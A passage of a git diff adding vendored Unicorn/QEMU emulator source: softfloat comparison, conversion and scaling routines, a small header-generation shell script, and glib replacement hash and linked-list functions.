= extractFloat128Sign( a ); + bSign = extractFloat128Sign( b ); + if ( aSign != bSign ) { + return + aSign + || ( ( ( (uint64_t) ( ( a.high | b.high )<<1 ) ) | a.low | b.low ) + == 0 ); + } + return + aSign ? le128( b.high, b.low, a.high, a.low ) + : le128( a.high, a.low, b.high, b.low ); + +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the quadruple-precision floating-point value `a' is less than +| the corresponding value `b', and 0 otherwise. The invalid exception is +| raised if either operand is a NaN. The comparison is performed according +| to the IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +int float128_lt( float128 a, float128 b STATUS_PARAM ) +{ + flag aSign, bSign; + + if ( ( ( extractFloat128Exp( a ) == 0x7FFF ) + && ( extractFloat128Frac0( a ) | extractFloat128Frac1( a ) ) ) + || ( ( extractFloat128Exp( b ) == 0x7FFF ) + && ( extractFloat128Frac0( b ) | extractFloat128Frac1( b ) ) ) + ) { + float_raise( float_flag_invalid STATUS_VAR); + return 0; + } + aSign = extractFloat128Sign( a ); + bSign = extractFloat128Sign( b ); + if ( aSign != bSign ) { + return + aSign + && ( ( ( (uint64_t) ( ( a.high | b.high )<<1 ) ) | a.low | b.low ) + != 0 ); + } + return + aSign ? lt128( b.high, b.low, a.high, a.low ) + : lt128( a.high, a.low, b.high, b.low ); + +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the quadruple-precision floating-point values `a' and `b' cannot +| be compared, and 0 otherwise. The invalid exception is raised if either +| operand is a NaN. The comparison is performed according to the IEC/IEEE +| Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +int float128_unordered( float128 a, float128 b STATUS_PARAM ) +{ + if ( ( ( extractFloat128Exp( a ) == 0x7FFF ) + && ( extractFloat128Frac0( a ) | extractFloat128Frac1( a ) ) ) + || ( ( extractFloat128Exp( b ) == 0x7FFF ) + && ( extractFloat128Frac0( b ) | extractFloat128Frac1( b ) ) ) + ) { + float_raise( float_flag_invalid STATUS_VAR); + return 1; + } + return 0; +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the quadruple-precision floating-point value `a' is equal to +| the corresponding value `b', and 0 otherwise. Quiet NaNs do not cause an +| exception. The comparison is performed according to the IEC/IEEE Standard +| for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +int float128_eq_quiet( float128 a, float128 b STATUS_PARAM ) +{ + + if ( ( ( extractFloat128Exp( a ) == 0x7FFF ) + && ( extractFloat128Frac0( a ) | extractFloat128Frac1( a ) ) ) + || ( ( extractFloat128Exp( b ) == 0x7FFF ) + && ( extractFloat128Frac0( b ) | extractFloat128Frac1( b ) ) ) + ) { + if ( float128_is_signaling_nan( a ) + || float128_is_signaling_nan( b ) ) { + float_raise( float_flag_invalid STATUS_VAR); + } + return 0; + } + return + ( a.low == b.low ) + && ( ( a.high == b.high ) + || ( ( a.low == 0 ) + && ( (uint64_t) ( ( a.high | b.high )<<1 ) == 0 ) ) + ); + +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the quadruple-precision floating-point value `a' is less than +| or equal to the corresponding value `b', and 0 otherwise. Quiet NaNs do not +| cause an exception. Otherwise, the comparison is performed according to the +| IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +int float128_le_quiet( float128 a, float128 b STATUS_PARAM ) +{ + flag aSign, bSign; + + if ( ( ( extractFloat128Exp( a ) == 0x7FFF ) + && ( extractFloat128Frac0( a ) | extractFloat128Frac1( a ) ) ) + || ( ( extractFloat128Exp( b ) == 0x7FFF ) + && ( extractFloat128Frac0( b ) | extractFloat128Frac1( b ) ) ) + ) { + if ( float128_is_signaling_nan( a ) + || float128_is_signaling_nan( b ) ) { + float_raise( float_flag_invalid STATUS_VAR); + } + return 0; + } + aSign = extractFloat128Sign( a ); + bSign = extractFloat128Sign( b ); + if ( aSign != bSign ) { + return + aSign + || ( ( ( (uint64_t) ( ( a.high | b.high )<<1 ) ) | a.low | b.low ) + == 0 ); + } + return + aSign ? le128( b.high, b.low, a.high, a.low ) + : le128( a.high, a.low, b.high, b.low ); + +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the quadruple-precision floating-point value `a' is less than +| the corresponding value `b', and 0 otherwise. Quiet NaNs do not cause an +| exception. Otherwise, the comparison is performed according to the IEC/IEEE +| Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +int float128_lt_quiet( float128 a, float128 b STATUS_PARAM ) +{ + flag aSign, bSign; + + if ( ( ( extractFloat128Exp( a ) == 0x7FFF ) + && ( extractFloat128Frac0( a ) | extractFloat128Frac1( a ) ) ) + || ( ( extractFloat128Exp( b ) == 0x7FFF ) + && ( extractFloat128Frac0( b ) | extractFloat128Frac1( b ) ) ) + ) { + if ( float128_is_signaling_nan( a ) + || float128_is_signaling_nan( b ) ) { + float_raise( float_flag_invalid STATUS_VAR); + } + return 0; + } + aSign = extractFloat128Sign( a ); + bSign = extractFloat128Sign( b ); + if ( aSign != bSign ) { + return + aSign + && ( ( ( (uint64_t) ( ( a.high | b.high )<<1 ) ) | a.low | b.low ) + != 0 ); + } + return + aSign ? lt128( b.high, b.low, a.high, a.low ) + : lt128( a.high, a.low, b.high, b.low ); + +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the quadruple-precision floating-point values `a' and `b' cannot +| be compared, and 0 otherwise. Quiet NaNs do not cause an exception. The +| comparison is performed according to the IEC/IEEE Standard for Binary +| Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +int float128_unordered_quiet( float128 a, float128 b STATUS_PARAM ) +{ + if ( ( ( extractFloat128Exp( a ) == 0x7FFF ) + && ( extractFloat128Frac0( a ) | extractFloat128Frac1( a ) ) ) + || ( ( extractFloat128Exp( b ) == 0x7FFF ) + && ( extractFloat128Frac0( b ) | extractFloat128Frac1( b ) ) ) + ) { + if ( float128_is_signaling_nan( a ) + || float128_is_signaling_nan( b ) ) { + float_raise( float_flag_invalid STATUS_VAR); + } + return 1; + } + return 0; +} + +/* misc functions */ +float32 uint32_to_float32(uint32_t a STATUS_PARAM) +{ + return int64_to_float32(a STATUS_VAR); +} + +float64 uint32_to_float64(uint32_t a STATUS_PARAM) +{ + return int64_to_float64(a STATUS_VAR); +} + +uint32 float32_to_uint32( float32 a STATUS_PARAM ) +{ + int64_t v; + uint32 res; + int old_exc_flags = get_float_exception_flags(status); + + v = float32_to_int64(a STATUS_VAR); + if (v < 0) { + res = 0; + } else if (v > 0xffffffff) { + res = 0xffffffff; + } else { + return (uint32)v; + } + set_float_exception_flags(old_exc_flags STATUS_VAR); + float_raise(float_flag_invalid STATUS_VAR); + return res; +} + +uint32 float32_to_uint32_round_to_zero( float32 a STATUS_PARAM ) +{ + int64_t v; + uint32 res; + int old_exc_flags = get_float_exception_flags(status); + + v = float32_to_int64_round_to_zero(a STATUS_VAR); + if (v < 0) { + res = 0; + } else if (v > 0xffffffff) { + res = 0xffffffff; + } else { + return (uint32)v; + } + set_float_exception_flags(old_exc_flags, status); + float_raise(float_flag_invalid STATUS_VAR); + return res; +} + +int_fast16_t float32_to_int16(float32 a STATUS_PARAM) +{ + int32_t v; + int_fast16_t res; + int old_exc_flags = get_float_exception_flags(status); + + v = float32_to_int32(a STATUS_VAR); + if (v < -0x8000) { + res = -0x8000; + } else if (v > 0x7fff) { + res = 0x7fff; + } else { + return v; + } + + set_float_exception_flags(old_exc_flags, status); + float_raise(float_flag_invalid STATUS_VAR); + return res; +} + +uint_fast16_t float32_to_uint16(float32 a STATUS_PARAM) +{ + int32_t v; + uint_fast16_t res; + int old_exc_flags = get_float_exception_flags(status); + + v = float32_to_int32(a STATUS_VAR); + if (v < 0) { + res = 0; + } else if (v > 0xffff) { + res = 0xffff; + } else { + return v; + } + + set_float_exception_flags(old_exc_flags, status); + float_raise(float_flag_invalid STATUS_VAR); + return res; +} + +uint_fast16_t float32_to_uint16_round_to_zero(float32 a STATUS_PARAM) +{ + int64_t v; + uint_fast16_t res; + int old_exc_flags = get_float_exception_flags(status); + + v = float32_to_int64_round_to_zero(a STATUS_VAR); + if (v < 0) { + res = 0; + } else if (v > 0xffff) { + res = 0xffff; + } else { + return (uint_fast16_t)v; + } + set_float_exception_flags(old_exc_flags, status); + float_raise(float_flag_invalid STATUS_VAR); + return res; +} + +uint32 float64_to_uint32( float64 a STATUS_PARAM ) +{ + uint64_t v; + uint32 res; + int old_exc_flags = get_float_exception_flags(status); + + v = float64_to_uint64(a STATUS_VAR); + if (v > 0xffffffff) { + res = 0xffffffff; + } else { + return (uint32)v; + } + set_float_exception_flags(old_exc_flags, status); + float_raise(float_flag_invalid STATUS_VAR); + return res; +} + +uint32 float64_to_uint32_round_to_zero( float64 a STATUS_PARAM ) +{ + uint64_t v; + uint32 res; + int old_exc_flags = get_float_exception_flags(status); + + v = float64_to_uint64_round_to_zero(a STATUS_VAR); + if (v > 0xffffffff) { + res = 0xffffffff; + } else { + return (uint32)v; + } + set_float_exception_flags(old_exc_flags, status); + float_raise(float_flag_invalid STATUS_VAR); + return res; +} + +int_fast16_t float64_to_int16(float64 a STATUS_PARAM) +{ + int64_t v; + int_fast16_t res; + int old_exc_flags = get_float_exception_flags(status); + + v = float64_to_int32(a STATUS_VAR); + if (v < -0x8000) { + res = -0x8000; + } else if (v > 0x7fff) { + res = 0x7fff; + } else { + return (int_fast16_t)v; + } + + set_float_exception_flags(old_exc_flags, status); + float_raise(float_flag_invalid STATUS_VAR); + return res; +} + +uint_fast16_t float64_to_uint16(float64 a STATUS_PARAM) +{ + int64_t v; + uint_fast16_t res; + int old_exc_flags = get_float_exception_flags(status); + + v = float64_to_int32(a STATUS_VAR); + if (v < 0) { + res = 0; + } else if (v > 0xffff) { + res = 0xffff; + } else { + return (uint_fast16_t)v; + } + + set_float_exception_flags(old_exc_flags, status); + float_raise(float_flag_invalid STATUS_VAR); + return res; +} + +uint_fast16_t float64_to_uint16_round_to_zero(float64 a STATUS_PARAM) +{ + int64_t v; + uint_fast16_t res; + int old_exc_flags = get_float_exception_flags(status); + + v = float64_to_int64_round_to_zero(a STATUS_VAR); + if (v < 0) { + res = 0; + } else if (v > 0xffff) { + res = 0xffff; + } else { + return (uint_fast16_t)v; + } + set_float_exception_flags(old_exc_flags, status); + float_raise(float_flag_invalid STATUS_VAR); + return res; +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the double-precision floating-point value +| `a' to the 64-bit unsigned integer format. The conversion is +| performed according to the IEC/IEEE Standard for Binary Floating-Point +| Arithmetic---which means in particular that the conversion is rounded +| according to the current rounding mode. If `a' is a NaN, the largest +| positive integer is returned. If the conversion overflows, the +| largest unsigned integer is returned. If 'a' is negative, the value is +| rounded and zero is returned; negative values that do not round to zero +| will raise the inexact exception. +*----------------------------------------------------------------------------*/ + +uint64_t float64_to_uint64(float64 a STATUS_PARAM) +{ + flag aSign; + int_fast16_t aExp, shiftCount; + uint64_t aSig, aSigExtra; + a = float64_squash_input_denormal(a STATUS_VAR); + + aSig = extractFloat64Frac(a); + aExp = extractFloat64Exp(a); + aSign = extractFloat64Sign(a); + if (aSign && (aExp > 1022)) { + float_raise(float_flag_invalid STATUS_VAR); + if (float64_is_any_nan(a)) { + return LIT64(0xFFFFFFFFFFFFFFFF); + } else { + return 0; + } + } + if (aExp) { + aSig |= LIT64(0x0010000000000000); + } + shiftCount = 0x433 - aExp; + if (shiftCount <= 0) { + if (0x43E < aExp) { + float_raise(float_flag_invalid STATUS_VAR); + return LIT64(0xFFFFFFFFFFFFFFFF); + } + aSigExtra = 0; + aSig <<= -shiftCount; + } else { + shift64ExtraRightJamming(aSig, 0, shiftCount, &aSig, &aSigExtra); + } + return roundAndPackUint64(aSign, aSig, aSigExtra STATUS_VAR); +} + +uint64_t float64_to_uint64_round_to_zero (float64 a STATUS_PARAM) +{ + int64_t v; + signed char current_rounding_mode = STATUS(float_rounding_mode); + set_float_rounding_mode(float_round_to_zero STATUS_VAR); + v = float64_to_uint64(a STATUS_VAR); + set_float_rounding_mode(current_rounding_mode STATUS_VAR); + return v; +} + +#define COMPARE(s, nan_exp) \ +static inline int float ## s ## _compare_internal( float ## s a, float ## s b, \ + int is_quiet STATUS_PARAM ) \ +{ \ + flag aSign, bSign; \ + uint ## s ## _t av, bv; \ + a = float ## s ## _squash_input_denormal(a STATUS_VAR); \ + b = float ## s ## _squash_input_denormal(b STATUS_VAR); \ + \ + if (( ( extractFloat ## s ## Exp( a ) == nan_exp ) && \ + extractFloat ## s ## Frac( a ) ) || \ + ( ( extractFloat ## s ## Exp( b ) == nan_exp ) && \ + extractFloat ## s ## Frac( b ) )) { \ + if (!is_quiet || \ + float ## s ## _is_signaling_nan( a ) || \ + float ## s ## _is_signaling_nan( b ) ) { \ + float_raise( float_flag_invalid STATUS_VAR); \ + } \ + return float_relation_unordered; \ + } \ + aSign = extractFloat ## s ## Sign( a ); \ + bSign = extractFloat ## s ## Sign( b ); \ + av = float ## s ## _val(a); \ + bv = float ## s ## _val(b); \ + if ( aSign != bSign ) { \ + if ( (uint ## s ## _t) ( ( av | bv )<<1 ) == 0 ) { \ + /* zero case */ \ + return float_relation_equal; \ + } else { \ + return 1 - (2 * aSign); \ + } \ + } else { \ + if (av == bv) { \ + return float_relation_equal; \ + } else { \ + return 1 - 2 * (aSign ^ ( av < bv )); \ + } \ + } \ +} \ + \ +int float ## s ## _compare( float ## s a, float ## s b STATUS_PARAM ) \ +{ \ + return float ## s ## _compare_internal(a, b, 0 STATUS_VAR); \ +} \ + \ +int float ## s ## _compare_quiet( float ## s a, float ## s b STATUS_PARAM ) \ +{ \ + return float ## s ## _compare_internal(a, b, 1 STATUS_VAR); \ +} + +COMPARE(32, 0xff) +COMPARE(64, 0x7ff) + +static inline int floatx80_compare_internal( floatx80 a, floatx80 b, + int is_quiet STATUS_PARAM ) +{ + flag aSign, bSign; + + if (floatx80_invalid_encoding(a) || floatx80_invalid_encoding(b)) { + float_raise(float_flag_invalid STATUS_VAR); + return float_relation_unordered; + } + if (( ( extractFloatx80Exp( a ) == 0x7fff ) && + ( extractFloatx80Frac( a )<<1 ) ) || + ( ( extractFloatx80Exp( b ) == 0x7fff ) && + ( extractFloatx80Frac( b )<<1 ) )) { + if (!is_quiet || + floatx80_is_signaling_nan( a ) || + floatx80_is_signaling_nan( b ) ) { + float_raise( float_flag_invalid STATUS_VAR); + } + return float_relation_unordered; + } + aSign = extractFloatx80Sign( a ); + bSign = extractFloatx80Sign( b ); + if ( aSign != bSign ) { + + if ( ( ( (uint16_t) ( ( a.high | b.high ) << 1 ) ) == 0) && + ( ( a.low | b.low ) == 0 ) ) { + /* zero case */ + return float_relation_equal; + } else { + return 1 - (2 * aSign); + } + } else { + if (a.low == b.low && a.high == b.high) { + return float_relation_equal; + } else { + return 1 - 2 * (aSign ^ ( lt128( a.high, a.low, b.high, b.low ) )); + } + } +} + +int floatx80_compare( floatx80 a, floatx80 b STATUS_PARAM ) +{ + return floatx80_compare_internal(a, b, 0 STATUS_VAR); +} + +int floatx80_compare_quiet( floatx80 a, floatx80 b STATUS_PARAM ) +{ + return floatx80_compare_internal(a, b, 1 STATUS_VAR); +} + +static inline int float128_compare_internal( float128 a, float128 b, + int is_quiet STATUS_PARAM ) +{ + flag aSign, bSign; + + if (( ( extractFloat128Exp( a ) == 0x7fff ) && + ( extractFloat128Frac0( a ) | extractFloat128Frac1( a ) ) ) || + ( ( extractFloat128Exp( b ) == 0x7fff ) && + ( extractFloat128Frac0( b ) | extractFloat128Frac1( b ) ) )) { + if (!is_quiet || + float128_is_signaling_nan( a ) || + float128_is_signaling_nan( b ) ) { + float_raise( float_flag_invalid STATUS_VAR); + } + return float_relation_unordered; + } + aSign = extractFloat128Sign( a ); + bSign = extractFloat128Sign( b ); + if ( aSign != bSign ) { + if ( ( ( ( a.high | b.high )<<1 ) | a.low | b.low ) == 0 ) { + /* zero case */ + return float_relation_equal; + } else { + return 1 - (2 * aSign); + } + } else { + if (a.low == b.low && a.high == b.high) { + return float_relation_equal; + } else { + return 1 - 2 * (aSign ^ ( lt128( a.high, a.low, b.high, b.low ) )); + } + } +} + +int float128_compare( float128 a, float128 b STATUS_PARAM ) +{ + return float128_compare_internal(a, b, 0 STATUS_VAR); +} + +int float128_compare_quiet( float128 a, float128 b STATUS_PARAM ) +{ + return float128_compare_internal(a, b, 1 STATUS_VAR); +} + +/* min() and max() functions. These can't be implemented as + * 'compare and pick one input' because that would mishandle + * NaNs and +0 vs -0. + * + * minnum() and maxnum() functions. These are similar to the min() + * and max() functions but if one of the arguments is a QNaN and + * the other is numerical then the numerical argument is returned. + * minnum() and maxnum correspond to the IEEE 754-2008 minNum() + * and maxNum() operations. min() and max() are the typical min/max + * semantics provided by many CPUs which predate that specification. + * + * minnummag() and maxnummag() functions correspond to minNumMag() + * and minNumMag() from the IEEE-754 2008. + */ +#define MINMAX(s) \ +static inline float ## s float ## s ## _minmax(float ## s a, float ## s b, \ + int ismin, int isieee, \ + int ismag STATUS_PARAM) \ +{ \ + flag aSign, bSign; \ + uint ## s ## _t av, bv, aav, abv; \ + a = float ## s ## _squash_input_denormal(a STATUS_VAR); \ + b = float ## s ## _squash_input_denormal(b STATUS_VAR); \ + if (float ## s ## _is_any_nan(a) || \ + float ## s ## _is_any_nan(b)) { \ + if (isieee) { \ + if (float ## s ## _is_quiet_nan(a) && \ + !float ## s ##_is_any_nan(b)) { \ + return b; \ + } else if (float ## s ## _is_quiet_nan(b) && \ + !float ## s ## _is_any_nan(a)) { \ + return a; \ + } \ + } \ + return propagateFloat ## s ## NaN(a, b STATUS_VAR); \ + } \ + aSign = extractFloat ## s ## Sign(a); \ + bSign = extractFloat ## s ## Sign(b); \ + av = float ## s ## _val(a); \ + bv = float ## s ## _val(b); \ + if (ismag) { \ + aav = float ## s ## _abs(av); \ + abv = float ## s ## _abs(bv); \ + if (aav != abv) { \ + if (ismin) { \ + return (aav < abv) ? a : b; \ + } else { \ + return (aav < abv) ? b : a; \ + } \ + } \ + } \ + if (aSign != bSign) { \ + if (ismin) { \ + return aSign ? a : b; \ + } else { \ + return aSign ? b : a; \ + } \ + } else { \ + if (ismin) { \ + return (aSign ^ (av < bv)) ? a : b; \ + } else { \ + return (aSign ^ (av < bv)) ? b : a; \ + } \ + } \ +} \ + \ +float ## s float ## s ## _min(float ## s a, float ## s b STATUS_PARAM) \ +{ \ + return float ## s ## _minmax(a, b, 1, 0, 0 STATUS_VAR); \ +} \ + \ +float ## s float ## s ## _max(float ## s a, float ## s b STATUS_PARAM) \ +{ \ + return float ## s ## _minmax(a, b, 0, 0, 0 STATUS_VAR); \ +} \ + \ +float ## s float ## s ## _minnum(float ## s a, float ## s b STATUS_PARAM) \ +{ \ + return float ## s ## _minmax(a, b, 1, 1, 0 STATUS_VAR); \ +} \ + \ +float ## s float ## s ## _maxnum(float ## s a, float ## s b STATUS_PARAM) \ +{ \ + return float ## s ## _minmax(a, b, 0, 1, 0 STATUS_VAR); \ +} \ + \ +float ## s float ## s ## _minnummag(float ## s a, float ## s b STATUS_PARAM) \ +{ \ + return float ## s ## _minmax(a, b, 1, 1, 1 STATUS_VAR); \ +} \ + \ +float ## s float ## s ## _maxnummag(float ## s a, float ## s b STATUS_PARAM) \ +{ \ + return float ## s ## _minmax(a, b, 0, 1, 1 STATUS_VAR); \ +} + +MINMAX(32) +MINMAX(64) + + +/* Multiply A by 2 raised to the power N. */ +float32 float32_scalbn( float32 a, int n STATUS_PARAM ) +{ + flag aSign; + int16_t aExp; + uint32_t aSig; + + a = float32_squash_input_denormal(a STATUS_VAR); + aSig = extractFloat32Frac( a ); + aExp = extractFloat32Exp( a ); + aSign = extractFloat32Sign( a ); + + if ( aExp == 0xFF ) { + if ( aSig ) { + return propagateFloat32NaN( a, a STATUS_VAR ); + } + return a; + } + if (aExp != 0) { + aSig |= 0x00800000; + } else if (aSig == 0) { + return a; + } else { + aExp++; + } + + if (n > 0x200) { + n = 0x200; + } else if (n < -0x200) { + n = -0x200; + } + + aExp += n - 1; + aSig <<= 7; + return normalizeRoundAndPackFloat32( aSign, aExp, aSig STATUS_VAR ); +} + +float64 float64_scalbn( float64 a, int n STATUS_PARAM ) +{ + flag aSign; + int16_t aExp; + uint64_t aSig; + + a = float64_squash_input_denormal(a STATUS_VAR); + aSig = extractFloat64Frac( a ); + aExp = extractFloat64Exp( a ); + aSign = extractFloat64Sign( a ); + + if ( aExp == 0x7FF ) { + if ( aSig ) { + return propagateFloat64NaN( a, a STATUS_VAR ); + } + return a; + } + if (aExp != 0) { + aSig |= LIT64( 0x0010000000000000 ); + } else if (aSig == 0) { + return a; + } else { + aExp++; + } + + if (n > 0x1000) { + n = 0x1000; + } else if (n < -0x1000) { + n = -0x1000; + } + + aExp += n - 1; + aSig <<= 10; + return normalizeRoundAndPackFloat64( aSign, aExp, aSig STATUS_VAR ); +} + +floatx80 floatx80_scalbn( floatx80 a, int n STATUS_PARAM ) +{ + flag aSign; + int32_t aExp; + uint64_t aSig; + + if (floatx80_invalid_encoding(a)) { + float_raise(float_flag_invalid STATUS_VAR); + return floatx80_default_nan; + } + aSig = extractFloatx80Frac( a ); + aExp = extractFloatx80Exp( a ); + aSign = extractFloatx80Sign( a ); + + if ( aExp == 0x7FFF ) { + if ( aSig<<1 ) { + return propagateFloatx80NaN( a, a STATUS_VAR ); + } + return a; + } + + if (aExp == 0) { + if (aSig == 0) { + return a; + } + aExp++; + } + + if (n > 0x10000) { + n = 0x10000; + } else if (n < -0x10000) { + n = -0x10000; + } + + aExp += n; + return normalizeRoundAndPackFloatx80( STATUS(floatx80_rounding_precision), + aSign, aExp, aSig, 0 STATUS_VAR ); +} + +float128 float128_scalbn( float128 a, int n STATUS_PARAM ) +{ + flag aSign; + int32_t aExp; + uint64_t aSig0, aSig1; + + aSig1 = extractFloat128Frac1( a ); + aSig0 = extractFloat128Frac0( a ); + aExp = extractFloat128Exp( a ); + aSign = extractFloat128Sign( a ); + if ( aExp == 0x7FFF ) { + if ( aSig0 | aSig1 ) { + return propagateFloat128NaN( a, a STATUS_VAR ); + } + return a; + } + if (aExp != 0) { + aSig0 |= LIT64( 0x0001000000000000 ); + } else if (aSig0 == 0 && aSig1 == 0) { + return a; + } else { + aExp++; + } + + if (n > 0x10000) { + n = 0x10000; + } else if (n < -0x10000) { + n = -0x10000; + } + + aExp += n - 1; + return normalizeRoundAndPackFloat128( aSign, aExp, aSig0, aSig1 + STATUS_VAR ); + +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/gen_all_header.sh b/ai_anti_malware/unicorn/unicorn-master/qemu/gen_all_header.sh new file mode 100644 index 0000000..1330ae5 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/gen_all_header.sh @@ -0,0 +1,4 @@ +#!/bin/sh +for d in x86_64 arm armeb m68k aarch64 aarch64eb mips mipsel mips64 mips64el sparc sparc64; do + python header_gen.py $d > $d.h +done diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/glib_compat.c b/ai_anti_malware/unicorn/unicorn-master/qemu/glib_compat.c new file mode 100644 index 0000000..946e4f0 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/glib_compat.c @@ -0,0 +1,1457 @@ +/* +glib_compat.c replacement functionality for glib code used in qemu +Copyright (C) 2016 Chris Eagle cseagle at gmail dot com + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +as published by the Free Software Foundation; either version 2 +of the License, or (at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. +*/ + +// Part of this code was lifted from glib-2.28.0. +// Glib license is available in COPYING_GLIB file in root directory. + +#ifndef _GNU_SOURCE +#define _GNU_SOURCE +#endif + +#include <string.h> +#include <stdlib.h> +#include <stdio.h> +#include <limits.h> + +#include "glib_compat.h" + +#define MAX(a, b) (((a) > (b)) ? (a) : (b)) +#ifndef _WIN64 +#define GPOINTER_TO_UINT(p) ((guint)(uintptr_t)(p)) +#else +#define GPOINTER_TO_UINT(p) ((guint) (guint64) (p)) +#endif +#define G_MAXINT INT_MAX + +/* All functions below added to eliminate GLIB dependency */ + +/* hashing and equality functions */ +// Hash functions lifted glib-2.28.0/glib/ghash.c + +/** + * g_direct_hash: + * @v: a #gpointer key + * + * Converts a gpointer to a hash value. + * It can be passed to g_hash_table_new() as the @hash_func parameter, + * when using pointers as keys in a #GHashTable. + * + * Returns: a hash value corresponding to the key. + */ +static guint g_direct_hash (gconstpointer v) +{ + return GPOINTER_TO_UINT (v); +} + +// g_str_hash() is lifted glib-2.28.0/glib/gstring.c +/** + * g_str_hash: + * @v: a string key + * + * Converts a string to a hash value. + * + * This function implements the widely used "djb" hash apparently posted + * by Daniel Bernstein to comp.lang.c some time ago. The 32 bit + * unsigned hash value starts at 5381 and for each byte 'c' in the + * string, is updated: <literal>hash = hash * 33 + c</literal>. This + * function uses the signed value of each byte. + * + * It can be passed to g_hash_table_new() as the @hash_func parameter, + * when using strings as keys in a #GHashTable. + * + * Returns: a hash value corresponding to the key + **/ +guint g_str_hash (gconstpointer v) +{ + const signed char *p; + guint32 h = 5381; + + for (p = v; *p != '\0'; p++) + h = (h << 5) + h + *p; + + return h; +} + +gboolean g_str_equal(gconstpointer v1, gconstpointer v2) +{ + return strcmp((const char*)v1, (const char*)v2) == 0; +} + +// g_int_hash() is lifted from glib-2.28.0/glib/gutils.c +/** + * g_int_hash: + * @v: a pointer to a #gint key + * + * Converts a pointer to a #gint to a hash value. + * It can be passed to g_hash_table_new() as the @hash_func parameter, + * when using pointers to integers values as keys in a #GHashTable. + * + * Returns: a hash value corresponding to the key. + */ +guint g_int_hash (gconstpointer v) +{ + return *(const gint*) v; +} + +gboolean g_int_equal(gconstpointer v1, gconstpointer v2) +{ + return *((const gint*)v1) == *((const gint*)v2); +} + +/* Doubly-linked list */ + +GList *g_list_first(GList *list) +{ + if (list == NULL) return NULL; + while (list->prev) list = list->prev; + return list; +} + +void g_list_foreach(GList *list, GFunc func, gpointer user_data) +{ + GList *lp; + for (lp = list; lp; lp = lp->next) { + (*func)(lp->data, user_data); + } +} + +void g_list_free(GList *list) +{ + GList *lp, *next, *prev = NULL; + if (list) prev = list->prev; + for (lp = list; lp; lp = next) { + next = lp->next; + free(lp); + } + for (lp = prev; lp; lp = prev) { + prev = lp->prev; + free(lp); + } +} + +GList *g_list_insert_sorted(GList *list, gpointer data, GCompareFunc compare) +{ + GList *i; + GList *n = (GList*)g_malloc(sizeof(GList)); + n->data = data; + if (list == NULL) { + n->next = n->prev = NULL; + return n; + } + for (i = list; i; i = i->next) { + n->prev = i->prev; + if ((*compare)(data, i->data) <= 0) { + n->next = i; + i->prev = n; + if (i == list) return n; + else return list; + } + } + n->prev = n->prev->next; + n->next = NULL; + n->prev->next = n; + return list; +} + +GList *g_list_prepend(GList *list, gpointer data) +{ + GList *n = (GList*)g_malloc(sizeof(GList)); + n->next = list; + n->prev = NULL; + n->data = data; + return n; +} + +GList *g_list_remove_link(GList *list, GList *llink) +{ + if (llink) { + if (llink == list) list = list->next; + if (llink->prev) llink->prev->next = llink->next; + if (llink->next) llink->next->prev = llink->prev; + } + return list; +} + +// code copied from glib/glist.c, version 2.28.0 +static GList *g_list_sort_merge(GList *l1, + GList *l2, + GFunc compare_func, + gpointer user_data) +{ + GList list, *l, *lprev; + gint cmp; + + l = &list; + lprev = NULL; + + while (l1 && l2) + { + cmp = ((GCompareDataFunc) compare_func) (l1->data, l2->data, user_data); + + if (cmp <= 0) + { + l->next = l1; + l1 = l1->next; + } + else + { + l->next = l2; + l2 = l2->next; + } + l = l->next; + l->prev = lprev; + lprev = l; + } + l->next = l1 ? l1 : l2; + l->next->prev = l; + + return list.next; +} + +static GList *g_list_sort_real(GList *list, + GFunc compare_func, + gpointer user_data) +{ + GList *l1, *l2; + + if (!list) + return NULL; + if (!list->next) + return list; + + l1 = list; + l2 = list->next; + + while ((l2 = l2->next) != NULL) + { + if ((l2 = l2->next) == NULL) + break; + l1 = l1->next; + } + l2 = l1->next; + l1->next = NULL; + + return g_list_sort_merge (g_list_sort_real (list, compare_func, user_data), + g_list_sort_real (l2, compare_func, user_data), + compare_func, + user_data); +} + +/** + * g_list_sort: + * @list: a #GList + * @compare_func: the comparison function used to sort the #GList. + * This function is passed the data from 2 elements of the #GList + * and should return 0 if they are equal, a negative value if the + * first element comes before the second, or a positive value if + * the first element comes after the second. + * + * Sorts a #GList using the given comparison function. + * + * Returns: the start of the sorted #GList + */ +/** + * GCompareFunc: + * @a: a value. + * @b: a value to compare with. + * @Returns: negative value if @a < @b; zero if @a = @b; positive + * value if @a > @b. + * + * Specifies the type of a comparison function used to compare two + * values. The function should return a negative integer if the first + * value comes before the second, 0 if they are equal, or a positive + * integer if the first value comes after the second. + **/ +GList *g_list_sort (GList *list, GCompareFunc compare_func) +{ + return g_list_sort_real (list, (GFunc) compare_func, NULL); +} + +/* END of g_list related functions */ + +/* Singly-linked list */ + +GSList *g_slist_append(GSList *list, gpointer data) +{ + GSList *head = list; + if (list) { + while (list->next) list = list->next; + list->next = (GSList*)g_malloc(sizeof(GSList)); + list = list->next; + } else { + head = list = (GSList*)g_malloc(sizeof(GSList)); + } + list->data = data; + list->next = NULL; + return head; +} + +void g_slist_foreach(GSList *list, GFunc func, gpointer user_data) +{ + GSList *lp; + for (lp = list; lp; lp = lp->next) { + (*func)(lp->data, user_data); + } +} + +void g_slist_free(GSList *list) 